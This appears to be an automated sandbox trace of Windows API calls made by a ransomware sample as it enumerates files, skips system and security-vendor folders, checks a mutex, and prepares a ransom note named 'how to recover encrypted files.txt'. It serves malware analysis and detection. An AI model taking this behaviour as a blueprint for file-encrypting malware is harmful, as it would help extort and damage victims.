[0055.343] GetLastError () returned 0x2 [0055.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0055.343] GetLastError () returned 0x2 [0055.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0055.343] GetLastError () returned 0x2 [0055.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@婴U企@\x18?T\x18\x8f")) returned 0xffffffff [0055.344] GetLastError () returned 0x2 [0055.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0055.344] GetLastError () returned 0x2 [0055.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.344] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.345] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0055.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.345] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.345] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0055.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0055.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0055.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0055.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0055.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.347] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.348] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0055.348] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.348] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.348] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.348] CharLowerBuffW (in: lpsz="msdia100.dll", cchLength=0xc | out: lpsz="msdia100.dll") returned 0xc [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.348] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dllr", lpUsedDefaultChar=0x0) returned 62 [0055.348] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VC\\msdia100.dllr", lpUsedDefaultChar=0x0) returned 4 [0055.349] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0055.349] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.349] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.349] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.349] CharLowerBuffW (in: lpsz="msdia90.dll", cchLength=0xb | out: lpsz="msdia90.dll") returned 0xb [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0055.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll", lpUsedDefaultChar=0x0) returned 61 [0055.349] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VC\\msdia90.dll", lpUsedDefaultChar=0x0) returned 4 [0055.350] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0055.350] GetLastError () returned 0x12 [0055.350] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.350] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.350] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.350] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.350] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.350] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.350] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, 